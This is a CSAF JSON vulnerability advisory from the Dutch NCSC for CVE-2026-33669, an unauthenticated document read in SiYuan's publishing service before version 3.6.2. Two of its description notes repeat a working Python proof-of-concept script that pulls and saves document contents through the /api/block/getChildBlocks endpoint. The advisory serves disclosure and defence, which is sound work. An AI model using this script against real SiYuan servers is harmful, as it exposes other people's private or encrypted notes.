{
"document": {
"category": "csaf_base",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE"
}
},
"lang": "en",
"notes": [
{
"category": "legal_disclaimer",
"text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
}
],
"publisher": {
"category": "coordinator",
"contact_details": "cert@ncsc.nl",
"name": "National Cyber Security Centre",
"namespace": "https://www.ncsc.nl/"
},
"title": "CVE-2026-33669",
"tracking": {
"current_release_date": "2026-03-30T17:25:31.526121Z",
"generator": {
"date": "2026-02-17T15:00:00Z",
"engine": {
"name": "V.E.L.M.A",
"version": "1.7"
}
},
"id": "CVE-2026-33669",
"initial_release_date": "2026-03-25T20:11:28.202993Z",
"revision_history": [
{
"date": "2026-03-25T20:11:28.202993Z",
"number": "1",
"summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
},
{
"date": "2026-03-25T20:11:38.334388Z",
"number": "2",
"summary": "NCSC Score created."
},
{
"date": "2026-03-26T00:13:09.455202Z",
"number": "3",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)."
},
{
"date": "2026-03-26T00:13:11.072050Z",
"number": "4",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-26T21:39:04.515852Z",
"number": "5",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)."
},
{
"date": "2026-03-26T21:39:07.801690Z",
"number": "6",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-26T22:25:17.467660Z",
"number": "7",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
},
{
"date": "2026-03-26T22:25:25.128375Z",
"number": "8",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-27T00:14:01.552356Z",
"number": "9",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (1)."
},
{
"date": "2026-03-27T08:27:07.188299Z",
"number": "10",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-27T20:56:33.197698Z",
"number": "11",
"summary": "Source connected.| CVE status created. (valid)| EPSS created."
},
{
"date": "2026-03-27T20:56:49.328962Z",
"number": "12",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-27T21:26:02.476439Z",
"number": "13",
"summary": "Unknown change."
},
{
"date": "2026-03-28T07:57:33.942553Z",
"number": "14",
"summary": "References created (1)."
},
{
"date": "2026-03-30T17:25:24.249093Z",
"number": "15",
"summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
},
{
"date": "2026-03-30T17:25:30.271431Z",
"number": "16",
"summary": "NCSC Score updated."
}
],
"status": "interim",
"version": "16"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/<3.6.2",
"product": {
"name": "vers:unknown/<3.6.2",
"product_id": "CSAFPID-5899391",
"product_identification_helper": {
"cpe": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*"
}
}
}
],
"category": "product_name",
"name": "siyuan"
}
],
"category": "vendor",
"name": "B3log"
},
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/<3.6.2",
"product": {
"name": "vers:unknown/<3.6.2",
"product_id": "CSAFPID-5878158"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/>=0|<=0.0.0-20260317012524-fe4523fff2c8",
"product": {
"name": "vers:unknown/>=0|<=0.0.0-20260317012524-fe4523fff2c8",
"product_id": "CSAFPID-5907209"
}
}
],
"category": "product_name",
"name": "siyuan"
}
],
"category": "vendor",
"name": "siyuan-note"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-33669",
"cwe": {
"id": "CWE-125",
"name": "Out-of-bounds Read"
},
"notes": [
{
"category": "description",
"text": "### Details\n\nDocument IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"SiYuan /api/block/getChildBlocks 文档内容读取\"\"\"\nimport requests\nimport json\nimport sys\n\ndef get_child_blocks(target_url, doc_id):\n \"\"\"\n 调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容\n \"\"\"\n url = f\"{target_url.rstrip('/')}/api/block/getChildBlocks\"\n \n headers = {\n \"Content-Type\": \"application/json\"\n }\n \n data = {\n \"id\": doc_id\n }\n \n try:\n response = requests.post(url, json=data, headers=headers, timeout=10)\n response.raise_for_status()\n \n result = response.json()\n \n if result.get(\"code\") != 0:\n print(f\"[-] 请求失败: {result.get('msg', '未知错误')}\")\n return None\n \n return result.get(\"data\")\n \n except requests.exceptions.RequestException as e:\n print(f\"[-] 网络请求失败: {e}\")\n return None\n except json.JSONDecodeError as e:\n print(f\"[-] JSON解析失败: {e}\")\n return None\n\ndef format_block_content(block):\n \"\"\"格式化块内容\"\"\"\n content = \"\"\n \n # 获取块内容\n if isinstance(block, dict):\n # 尝试多种可能的字段\n md = block.get(\"markdown\", \"\") or block.get(\"content\", \"\") or \"\"\n if md:\n content = md.strip()\n \n return content\n\ndef main():\n \"\"\"主函数\"\"\"\n if len(sys.argv) > 1:\n target_url = sys.argv[1]\n else:\n target_url = input(\"请输入 SiYuan 服务地址 (例如: http://localhost:6806): \").strip()\n if not target_url:\n target_url = \"http://localhost:6806\"\n \n print(f\"目标地址: {target_url}\")\n print(\"=\" * 50)\n \n while True:\n print(\"\\n\" + \"=\" * 50)\n doc_id = input(\"请输入文档ID (输入 'quit' 或 'exit' 退出): \").strip()\n \n if doc_id.lower() in ['quit', 'exit', 'q']:\n print(\"程序退出\")\n break\n \n if not doc_id:\n print(\"[-] 文档ID不能为空\")\n continue\n \n print(f\"\\n[*] 正在读取文档: {doc_id}\")\n \n blocks = get_child_blocks(target_url, doc_id)\n \n if blocks is None:\n print(\"[-] 获取文档内容失败\")\n continue\n \n if not blocks:\n print(f\"[!] 文档 {doc_id} 没有子块或为空\")\n continue\n \n print(f\"[+] 成功获取 {len(blocks)} 个子块\")\n print(\"-\" * 50)\n \n # 保存所有块内容\n all_blocks_content = []\n \n for i, block in enumerate(blocks, 1):\n content = format_block_content(block)\n if content:\n print(content[:200] + (\"...\" if len(content) > 200 else \"\"))\n \n all_blocks_content.append({\n \"index\": i,\n \"content\": content,\n \"raw_block\": block\n })\n \n # 询问是否保存到文件\n save_choice = input(\"\\n是否保存到文件? (y/N): \").strip().lower()\n if save_choice in ['y', 'yes']:\n filename = f\"doc_{doc_id}_blocks.json\"\n try:\n with open(filename, \"w\", encoding=\"utf-8\") as f:\n json.dump({\n \"doc_id\": doc_id,\n \"block_count\": len(blocks),\n \"blocks\": all_blocks_content\n }, f, ensure_ascii=False, indent=2)\n print(f\"[+] 已保存到: {filename}\")\n except Exception as e:\n print(f\"[-] 保存失败: {e}\")\n \n print(\"-\" * 50)\n\nif __name__ == \"__main__\":\n main()\n```\n\n![\"image\"](\"https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc\")
\n\n### Impact\n\nFile reading: All encrypted or prohibited documents under the publishing service could be read.",
"title": "github - https://api.github.com/advisories/GHSA-34xj-66v3-6j83"
},
{
"category": "description",
"text": "### Details\n\nDocument IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"SiYuan /api/block/getChildBlocks 文档内容读取\"\"\"\nimport requests\nimport json\nimport sys\n\ndef get_child_blocks(target_url, doc_id):\n \"\"\"\n 调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容\n \"\"\"\n url = f\"{target_url.rstrip('/')}/api/block/getChildBlocks\"\n \n headers = {\n \"Content-Type\": \"application/json\"\n }\n \n data = {\n \"id\": doc_id\n }\n \n try:\n response = requests.post(url, json=data, headers=headers, timeout=10)\n response.raise_for_status()\n \n result = response.json()\n \n if result.get(\"code\") != 0:\n print(f\"[-] 请求失败: {result.get('msg', '未知错误')}\")\n return None\n \n return result.get(\"data\")\n \n except requests.exceptions.RequestException as e:\n print(f\"[-] 网络请求失败: {e}\")\n return None\n except json.JSONDecodeError as e:\n print(f\"[-] JSON解析失败: {e}\")\n return None\n\ndef format_block_content(block):\n \"\"\"格式化块内容\"\"\"\n content = \"\"\n \n # 获取块内容\n if isinstance(block, dict):\n # 尝试多种可能的字段\n md = block.get(\"markdown\", \"\") or block.get(\"content\", \"\") or \"\"\n if md:\n content = md.strip()\n \n return content\n\ndef main():\n \"\"\"主函数\"\"\"\n if len(sys.argv) > 1:\n target_url = sys.argv[1]\n else:\n target_url = input(\"请输入 SiYuan 服务地址 (例如: http://localhost:6806): \").strip()\n if not target_url:\n target_url = \"http://localhost:6806\"\n \n print(f\"目标地址: {target_url}\")\n print(\"=\" * 50)\n \n while True:\n print(\"\\n\" + \"=\" * 50)\n doc_id = input(\"请输入文档ID (输入 'quit' 或 'exit' 退出): \").strip()\n \n if doc_id.lower() in ['quit', 'exit', 'q']:\n print(\"程序退出\")\n break\n \n if not doc_id:\n print(\"[-] 文档ID不能为空\")\n continue\n \n print(f\"\\n[*] 正在读取文档: {doc_id}\")\n \n blocks = get_child_blocks(target_url, doc_id)\n \n if blocks is None:\n print(\"[-] 获取文档内容失败\")\n continue\n \n if not blocks:\n print(f\"[!] 文档 {doc_id} 没有子块或为空\")\n continue\n \n print(f\"[+] 成功获取 {len(blocks)} 个子块\")\n print(\"-\" * 50)\n \n # 保存所有块内容\n all_blocks_content = []\n \n for i, block in enumerate(blocks, 1):\n content = format_block_content(block)\n if content:\n print(content[:200] + (\"...\" if len(content) > 200 else \"\"))\n \n all_blocks_content.append({\n \"index\": i,\n \"content\": content,\n \"raw_block\": block\n })\n \n # 询问是否保存到文件\n save_choice = input(\"\\n是否保存到文件? (y/N): \").strip().lower()\n if save_choice in ['y', 'yes']:\n filename = f\"doc_{doc_id}_blocks.json\"\n try:\n with open(filename, \"w\", encoding=\"utf-8\") as f:\n json.dump({\n \"doc_id\": doc_id,\n \"block_count\": len(blocks),\n \"blocks\": all_blocks_content\n }, f, ensure_ascii=False, indent=2)\n print(f\"[+] 已保存到: {filename}\")\n except Exception as e:\n print(f\"[-] 保存失败: {e}\")\n \n print(\"-\" * 50)\n\nif __name__ == \"__main__\":\n main()\n```\n\n\n\n### Impact\n\nFile reading: All encrypted or prohibited documents under the publishing service could be read.",
"title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-34xj-66v3-6j83.json?alt=media"
},
{
"category": "description",
"text": "SiYuan is a personal knowledge management system. Prior to version 3.6.2, document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents. Version 3.6.2 patches the issue.",
"title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33669.json"
},
{
"category": "description",
"text": "SiYuan is a personal knowledge management system. Prior to version 3.6.2, document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents. Version 3.6.2 patches the issue.",
"title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33669"
},
{
"category": "description",
"text": "SiYuan has Arbitrary Document Reading within the Publishing Service in github.com/siyuan-note/siyuan/kernel",
"title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4842.json?alt=media"
},
{
"category": "other",
"text": "0.00043",
"title": "EPSS"
},
{
"category": "other",
"text": "3.5",
"title": "NCSC Score"
},
{
"category": "other",
"text": "Is related to an uncommon product vendor, Is related to (a version of) an uncommon product, There is exploit data available from source Nvd, Is related to CWE-125 (Out-of-bounds Read)",
"title": "NCSC Score top decreasing factors"
}
],
"product_status": {
"known_affected": [
"CSAFPID-5907209",
"CSAFPID-5878158",
"CSAFPID-5899391"
]
},
"references": [
{
"category": "external",
"summary": "Source - github",
"url": "https://api.github.com/advisories/GHSA-34xj-66v3-6j83"
},
{
"category": "external",
"summary": "Source - osv",
"url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-34xj-66v3-6j83.json?alt=media"
},
{
"category": "external",
"summary": "Source - cveprojectv5",
"url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33669.json"
},
{
"category": "external",
"summary": "Source - nvd",
"url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33669"
},
{
"category": "external",
"summary": "Source - osv",
"url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4842.json?alt=media"
},
{
"category": "external",
"summary": "Source - first",
"url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
},
{
"category": "external",
"summary": "Reference - cveprojectv5; github; nvd; osv",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-34xj-66v3-6j83"
},
{
"category": "external",
"summary": "Reference - github",
"url": "https://github.com/advisories/GHSA-34xj-66v3-6j83"
},
{
"category": "external",
"summary": "Reference - github",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33669"
}
],
"scores": [
{
"cvss_v3": {
"version": "3.1",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"baseScore": 9.8,
"baseSeverity": "CRITICAL"
},
"products": [
"CSAFPID-5878158",
"CSAFPID-5899391",
"CSAFPID-5907209"
]
}
],
"title": "CVE-2026-33669"
}
]
}